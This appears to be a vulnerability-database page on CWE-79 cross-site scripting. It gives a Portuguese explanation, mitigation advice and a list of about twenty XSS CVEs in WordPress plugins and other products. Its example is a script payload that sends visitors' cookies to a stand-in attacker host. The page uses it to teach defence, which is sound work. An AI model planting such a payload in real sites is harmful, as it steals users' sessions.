Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13548MEDIUMPower Ups for Elementor <= 1.2.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-23523HIGHWordPress HSS Embed Streaming Video plugin <= 3.23 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13849MEDIUMCookie Notice Bar <= 1.3.0 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-41876MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2025-13604HIGHLogin Security, FireWall, Malware removal by CleanTalk <= 2.168 - Unauthenticated Stored Cross-Site Scripting via Page URLEPSS 0.3%CVE-2025-2488MEDIUMXSS in Profelis Informatics' SambaBoxEPSS 0.3%CVE-2024-35734HIGHWordPress WP Time Slots Booking Form plugin <= 1.2.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-32852MEDIUMMailEnable < 10.55 Reflected XSS via FreeBusy.aspx StartDate ParameterEPSS 0.3%CVE-2024-27794MEDIUMClaris FileMaker Server before version 20.3.2 was susceptible to a reflected Cross-Site Scripting vulnerability due to an improperly handledEPSS 0.3%CVE-2023-6987MEDIUMString Locator <= 2.6.5 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2021-38134MEDIUMPossible Reflected and Stored XSS in OpenText iManagerEPSS 0.3%CVE-2025-23599HIGHWordPress eMarksheet plugin <= 5.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11854MEDIUMListdom – Business Directory and Classified Ads Listings WordPress Plugin <= 3.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via shortcode ParameterEPSS 0.3%CVE-2024-39652HIGHWordPress WooCommerce PDF Vouchers plugin < 4.9.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2245MEDIUMCross-Site Scripting vulnerability in moziloCMSEPSS 0.3%CVE-2025-51624HIGHCross-site scripting (XSS) vulnerability in Zone Bitaqati thru 3.4.0.EPSS 0.3%CVE-2025-23685HIGHWordPress RomanCart On WordPress plugin <= 0.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-33987HIGHCross-Site Scripting (XSS) vulnerability in Janobe productsEPSS 0.3%CVE-2024-41848MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2024-37262HIGHWordPress Online Booking & Scheduling Calendar plugin <= 4.4.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%